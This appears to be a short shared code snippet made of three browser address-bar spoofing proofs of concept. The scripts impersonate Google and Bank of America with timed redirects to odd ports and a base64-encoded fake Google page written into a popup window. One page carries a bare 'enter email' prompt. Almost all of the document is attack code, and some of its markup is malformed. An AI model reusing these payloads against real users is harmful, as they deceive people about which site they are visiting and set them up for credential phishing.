www
3 years ago in HTML
<script>setTimeout(function(){ function spoof(){ window.location.assign(“https://www.bankofamerica.com:8090"); } setInterval(spoof(),50000); }, 100);</script>
<html>
<head>
<title>Google</title>
</head>
<body>
<script>
function demo() {
var evilPage = 'PGh0bWw+Cjx0aXRsZT4KZ29vZ2xlLmNvbQo8L3RpdGxlPgo8Ym9keT4KPGgzPkFkZHJlc3MgQmFyIFNwb29mIC1AQzBkM0czM2s8L2gzPgo8L2JvZHk+CjwvaHRtbD4=';
var x = window.open('','');
setInterval(function(){x.location.replace('https://www.google.com:8080/');});
x.document.write(atob(evilPage));
}
</script>
<button onclick="demo();">magic</button>
<h1> not google</h1>
<h2> click the magic button! </h1>
<h3> enter email: </input> </h3>
</body>
</html>
<script>
var spoof = function(){
document.write("<h1>This is not Google</h1>");
document.location = "https://google.com:1234";
setInterval(function(){document.location="https://google.com:1234";},9800);
};
</script>
<input type="button" value="Spoof" onclick="spoof();" />